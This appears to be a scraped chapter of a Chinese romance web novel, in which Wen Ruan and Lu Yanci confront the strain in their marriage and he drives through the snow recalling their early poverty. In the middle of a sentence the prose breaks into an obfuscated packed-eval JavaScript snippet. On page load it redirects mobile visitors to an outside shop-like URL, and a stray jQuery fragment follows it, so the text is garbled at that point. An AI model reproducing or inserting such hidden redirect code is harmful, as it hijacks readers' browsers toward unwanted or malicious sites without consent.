“陆砚辞，我陪你从地下室里搬出来的时候，你说这辈子不会让我再吃苦。后来你跟我说公司要上市了，我穿着打折的裙子站在你旁边，不敢说话怕给你丢人。再后来你越来越忙，忙到跟我说一句话都要预约。”
她伸手，握住了他的手腕。
他的脉搏在皮肤下面跳得很快，咚咚咚的，像敲鼓。
“我不知道我还喜不喜欢你，”她说，“但我记得所有你喜欢我的样子。”
陆砚辞猛地转过头，眼眶里有一层薄薄的水光。
他的嘴唇抖了一下，反手把她的手扣住了，握得很紧，像是怕她抽走一样。
他的大拇指按在她的手背上，来回摩挲着，摩得那块皮肤发红。
“你记得的那些，”他开口，声音哑得像含了块砂纸，“我一件都没忘。”
温阮看着他的眼睛，那双眼睛里倒映着灯光，和她自己的影子。
小小的，缩在瞳孔的中间。
“那你为什么还跟她走那么近？”
陆砚辞用力闭了一下眼睛，再睁开的时候，那层水光退了一点:“因为我他妈不知道该怎么处理。她父亲对我有恩，我不可能翻脸。但她对你做的那些事，我都知道。我每次都在想怎么平衡，怎么不让两边都难受。”
“你平衡了吗？”
他摇了摇头。
窗外的风又起来了，吹着院子里的银杏树，沙沙沙的。
叶子又掉了几片，贴着玻璃滑下去，慢悠悠的。
温阮把他的手翻过来，掌心朝上。
他的掌纹很深，生命线中间断了一截，以前她看过，说这代表大难不死必有后福。
那时候他不信，现在她也不知道该不该信。
她用手指在他掌心里画了一条线，轻轻地，从生命线的断口连了上去。
“你试着把两边端平，”她说，“但你端不平的。天平只会往重的那边倾斜，你得决定哪边是你愿意放重的那一边。”
她松开手，站起来，往楼上走。
身后传来他的声音，很轻:“哪边重你不知道吗？”
温阮停在楼梯中间，手扶着栏杆，没有回头。
“我知道，”她说，“可你自己不知道。”
温阮上楼之后，陆砚辞在沙发上坐了很久。
那盆绿萝的叶子被风吹动了，他把窗户又关紧了一点，然后坐回原地。
烟盒在他手边，他抽出一根叼在嘴里，没点，咬着滤嘴，咬得变形了才吐出来。
手机亮了，是黎薇的消息:陆总，汤喝了吗？温姐没不高兴吧？
他盯着那行字看了几秒，打了两个字:喝了。
又打了一行:以后别送了，家里有阿姨。
删掉了，重新打:谢谢，下次不用麻烦了。
发出去之后他锁了屏，把手机屏幕朝下扣在茶几上。
他站起来，走到楼梯口，抬头往上看了看。
走廊灯关着，卧室门关着，一条光从门缝下面透出来，细得像一根针。
他想上去，脚抬了一半又放下来。
换了鞋，拿了车钥匙，出门了。
引擎发动的时候他看了一眼副驾，空着的。
以前温阮总坐那里，她把座椅调得很靠前，腿不够长够不到油门，她就缩在座椅里，膝盖顶着前面的手套箱。
他说你调远一点，她说调远了没有安全感。
他伸手把副驾的座椅调了一下，调到她习惯的那个位置。
车开出去，漫无目的地转。红灯停，绿灯走，拐了几个弯他自己都不知道到了哪里。
路边开始飘雪了，细细碎碎的，像盐粒，落在挡风玻璃上就被雨刷扫掉了。
他开了一段，靠边停下来。
雪下大了，密密麻麻的，车灯照过去像无数只飞蛾。
他盯着那些雪看了很久，忽然想起以前。
也是这样的雪夜，北京，地下室门口。
他加班到半夜回家，老远看到温阮蹲在路灯下面，手里抱着一杯冒热气的关东煮。
她冻得直跺脚，看到他跑过来，把关东煮塞到他手里，说刚买的还热乎。
他问她怎么不在屋里等。
她说灯坏了，黑乎乎的她害怕。
她搓着手，鼻尖冻得通红，笑了，嘴里呵出白气，说你快吃，萝卜煮透了可好吃了。
他吃了，确实好吃。
那杯关东煮暖了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777087|210050||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
整条回家的路。
那时候他想，这个女人他要护一辈子。
陆砚辞把额头抵在方向盘上，肩膀开始抖。
他没有声音，只是肩膀一耸一耸的，攥着方向盘的手指用力到指节发白。
车厢里很安静，只有暖风呼呼吹着，吹在他后颈上，暖的，但暖不到里面去。
他想起第二个雪夜。
他们搬家了，租了一个一居室，有暖气，不用再裹着被子睡。
那天也是下雪，温阮在厨房里煮火锅，锅底是超市买的底料，廉价的，但满屋子香。
他帮她切菜，菜刀钝，土豆切得厚薄不均。
她嫌弃他，让他走开，他来切薄一点。
她笑他，说切得厚了煮不熟。
他把她从后面抱住，下巴搁在她肩膀上，说切不熟就多煮一会儿。
她手里的刀停了，转过头来看他，眼睛亮亮的，说陆砚辞你说土不土啊。
他说土，但话是真的。
后来那锅火锅煮了很久，土豆还是硬的，两个人吃了一肚子没熟的土豆，谁也不肯承认切得有问题。最后她说算了算了，下次买切片机。
切片机一直没买，因为后来他忙了，在家吃饭的次数越来越少。
方向盘上的水渍越来越多，他抬起脸的时候眼眶是红的，脸上湿了一片。
外面的雪还在下，路灯把雪花照成了金色的，纷纷扬扬的，落满了整条街。
他伸手摸了一下副驾的座椅，皮面被他刚才调的，还保持着温阮习惯的角度。空空的，什么都没有。
他掏出手机，翻到通讯录，点开温阮的名字。
备注还是“老婆”，没有改过，头像是一张他们的合照，三年前的，他搂着她，她比了个耶，笑得眼睛都眯起来。
他看着那张照片，拇指悬在“拨号”上面，停了几分钟。
最后他按了锁屏，把手机放回支架上，发动了车。
雪还在下，雨刷左右摆着，把前窗刮出一片清晰的扇形。
他打了方向灯，慢慢驶回主路，开得很慢，像是在雪地上找什么东西。
后备箱里放着一束花，不知道什么时候买的，花瓣已经蔫了。